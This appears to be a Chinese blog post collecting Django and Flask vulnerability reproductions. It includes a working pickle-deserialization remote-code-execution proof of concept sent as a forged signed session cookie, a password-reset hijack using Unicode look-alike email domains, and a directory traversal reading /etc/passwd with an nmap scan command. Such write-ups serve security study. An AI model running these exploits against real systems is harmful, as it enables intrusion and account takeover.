Django及Flask漏洞合集

Django漏洞

Django任意代码执行

poc:

  1. import os

  2. os.environ.setdefault('DJANGO_SETTINGS_MODULE','settings')

  3. from django.conf import settings

  4. from django.core import signing

  5. from django.contrib.sessions.backends import signed_cookies

  6. class Run(object):

  7. def __reduce__(self):

  8. return (os.system,('touch /tmp/xxlegend.log',))

  9. sess = signing.dumps(Run(), serializer=signed_cookies.PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')

  10. print sess

  11. import urllib2

  12. import cookielib

  13. url = 'http://10.24.35.228:8000/favicon.ico'(受攻击的网站)

  14. headers = {'Cookie':'sessionid="%s"' %(sess)}

  15. request = urllib2.Request(url,headers = headers)

  16. response = urllib2.urlopen(request)

  17. print response.read()

Django重置密码漏洞

在浏览器中访问http://127.0.0.1:8000/admin/,看到如下图所示的登录页面,并没有重置密码的功能。

 

Django没有默认开启重置密码功能,从官方文档找到了开启该功能的方法2。我们需要编辑urls.py,引入一些url配置。修改后的urls.py如下所示。

from django.contrib import admin
from django.urls import path
from django.urls import include    # 此行是新增的

urlpatterns = [
    path('admin/', admin.site.urls),
    path('accounts/', include('django.contrib.auth.urls')),    # 此行是新增的
]

然后访问http://127.0.0.1:8000/accounts/password_reset/,看到如下图所示的重置密码页面。

 

根据文档,Django会生成一个可以重置密码的一次性链接,并把这个链接发到用户的邮箱中。如果邮箱地址不存在,Django不会发送邮件,但仍然显示“密码重置链接已经发送”,以避免攻击者探测一个邮箱地址是否为某个用户所有。

输入邮箱i@werner.wiki测试一下,成功收到了密码重置邮件,如下图所示。

 点击其中的链接就可以重置密码了。至此,环境准备完毕。

根据漏洞描述我们知道问题出在Unicode大小写转换。Unicode号称万国码,包含各种语言,有些语言的字母在进行大小写转换时就会出现奇怪的现象。如小写德文字母“ß”转换成大写是“SS”,再转换成小写就变成了“ss”3,大小写转换竟然不可逆,甚至连字符数量都发生了变化。在Python中进行测试截图如下。

大小写转换不可逆的示例

在准备环境时我们填写的用户邮箱是i@werner.wiki,刚好土耳其文和阿塞拜疆文中的字母“ı”转换成大写是英文字母“I”,再转换成小写就变成了英文字母“i”。知道以上信息,攻击者就可以发起攻击。首先注册域名werner.wikı(假设这个域名存在),然后搭建邮件服务器,设置邮箱i@werner.wikı,最后在Django重置密码的表单中填入这个邮箱地址,提交后攻击者就可以收到用户werner的密码重置邮件了。如下图所示,Django的确发送了密码重置邮件,但由于收件邮箱的域名无法解析,所以一直处于发送中的状态。

发出密码重置邮件

勉强算是成功复现了漏洞。这里为何不使用ı@werner.wiki呢?因为@werner.wiki使用的邮件系统不支持地址中包含ı。现实中的攻击者常常也会面临这个问题,实际上攻击者很可能无法任意注册和用户同后缀的邮箱,便只能修改邮箱后缀了。在这个例子中顶级后缀wikı是不存在的。但攻击者任然可能成功攻击,比如被攻击的是xxx@baidu.com,攻击者就可以构造xxx@baıdu.com。从阿里云查询到域名baıdu.com还没有被注册。

注册域名

Django SQL注入漏洞

运行 POC 脚本(CVE-2020-7471.py)查看结果

回到数据库中,发现存在内容了,成功

Django 目录遍历漏洞

在处理GET请求时,我直接取path,然后使用open函数打开path对应的静态文件,并HTTP响应文件的内容。这里出现了一个明显的目录遍历漏洞,对path未做任何判断和过滤。

当我请求http://localhost/etc/passwd时,self.path对应的值是/etc/passwd,而open(‘/etc/passwd’),自然可以读取到passwd文件。

那攻击者为什么要构造/../../../../../../etc/passwd呢? 这是为了防止程序过滤或丢失最左侧的/符号,让起始目录变成脚本当前所在的目录。攻击者使用多个..符号,不断向上跳转,最终到达根/,而根/的父目录就是自己,因此使用再多的..都无差别,最终停留在根/的位置,如此,便可通过绝对路径去读取任意文件。

该漏洞扫描有多种扫描方法,可使用nmap的http-passwd脚本扫描(http://nmap.org/nsedoc/scripts/http-passwd.html),用法:

nmap –script http-passwd –script-args http-passwd.root=/test/ IP地址

Flask漏洞

Flask (SSTI) 模板注入漏洞 

 链接

THE END
分享
二维码
< <上一篇
下一篇>>
---->